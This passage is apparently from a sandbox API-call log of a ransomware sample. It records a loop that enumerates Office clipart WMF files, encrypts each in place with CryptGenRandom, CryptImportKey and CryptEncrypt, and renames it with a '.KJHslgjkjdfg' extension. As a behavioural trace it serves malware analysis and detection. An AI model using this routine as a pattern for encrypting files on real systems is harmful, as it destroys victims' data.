hHeap=0x990000) returned 1 [0188.945] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf.kjhslgjkjdfg")) returned 1 [0188.946] CloseHandle (hObject=0x130) returned 1 [0188.946] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac00b100, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac00b100, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2afa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00414_.WMF", cAlternateFileName="")) returned 1 [0188.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.948] GetProcessHeap () returned 0x990000 [0188.948] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.948] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.948] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.948] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0188.954] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.954] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.954] GetProcessHeap () returned 0x990000 [0188.954] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.954] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.954] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.954] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.955] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.955] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.955] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.955] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.955] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.955] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.955] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.955] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.955] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2afa, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2afa, lpOverlapped=0x0) returned 1 [0188.956] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2b00, dwBufLen=0x2b00 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2b00) returned 1 [0188.957] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.957] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2b00, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2b00, lpOverlapped=0x0) returned 1 [0188.957] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.957] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2bd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.957] SetEndOfFile (hFile=0x130) returned 1 [0188.960] GetProcessHeap () returned 0x990000 [0188.960] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.960] GetProcessHeap () returned 0x990000 [0188.960] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.960] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf.kjhslgjkjdfg")) returned 1 [0188.961] CloseHandle (hObject=0x130) returned 1 [0188.961] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaacf8400, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaacf8400, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x400c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00419_.WMF", cAlternateFileName="")) returned 1 [0188.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.961] GetProcessHeap () returned 0x990000 [0188.961] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.961] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.962] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.962] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.964] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.964] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.964] GetProcessHeap () returned 0x990000 [0188.964] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.964] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.964] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.964] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.964] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.965] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.965] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.965] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.965] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.965] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.965] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.965] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.965] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x400c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x400c, lpOverlapped=0x0) returned 1 [0188.966] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4010, dwBufLen=0x4010 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4010) returned 1 [0188.966] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.966] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4010, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4010, lpOverlapped=0x0) returned 1 [0188.967] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.967] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x40e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.967] SetEndOfFile (hFile=0x130) returned 1 [0188.969] GetProcessHeap () returned 0x990000 [0188.969] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.969] GetProcessHeap () returned 0x990000 [0188.969] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.969] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf.kjhslgjkjdfg")) returned 1 [0188.970] CloseHandle (hObject=0x130) returned 1 [0188.970] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa86d2a00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa86d2a00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x12bc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00428_.WMF", cAlternateFileName="")) returned 1 [0188.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.971] GetProcessHeap () returned 0x990000 [0188.971] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.971] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.971] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.971] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.973] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.973] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.973] GetProcessHeap () returned 0x990000 [0188.973] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.973] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.973] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.973] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.974] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.974] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.974] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.974] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.974] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.974] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.974] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.974] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.974] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x12bc, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x12bc, lpOverlapped=0x0) returned 1 [0188.975] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x12c0, dwBufLen=0x12c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x12c0) returned 1 [0188.975] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.975] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x12c0, lpOverlapped=0x0) returned 1 [0188.975] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.975] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1394, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.975] SetEndOfFile (hFile=0x130) returned 1 [0188.978] GetProcessHeap () returned 0x990000 [0188.978] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.978] GetProcessHeap () returned 0x990000 [0188.978] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.978] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf.kjhslgjkjdfg")) returned 1 [0188.979] CloseHandle (hObject=0x130) returned 1 [0188.979] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa73bfd00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa73bfd00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x83c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00435_.WMF", cAlternateFileName="")) returned 1 [0188.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.980] GetProcessHeap () returned 0x990000 [0188.980] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.980] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.980] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.981] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.982] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.982] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.982] GetProcessHeap () returned 0x990000 [0188.982] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.982] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.982] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.982] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.982] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.982] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.983] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.983] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.983] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.983] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.983] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.983] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.983] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x83c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x83c, lpOverlapped=0x0) returned 1 [0188.983] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x840, dwBufLen=0x840 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x840) returned 1 [0188.983] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.983] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x840, lpOverlapped=0x0) returned 1 [0188.983] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.983] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x914, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.983] SetEndOfFile (hFile=0x130) returned 1 [0188.984] GetProcessHeap () returned 0x990000 [0188.984] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.984] GetProcessHeap () returned 0x990000 [0188.984] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.984] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf.kjhslgjkjdfg")) returned 1 [0188.985] CloseHandle (hObject=0x130) returned 1 [0188.985] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa60ad000, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa60ad000, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x13ea, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00438_.WMF", cAlternateFileName="")) returned 1 [0188.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.985] GetProcessHeap () returned 0x990000 [0188.985] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.985] CryptGenRandom (in: hProv=0x9acd90, 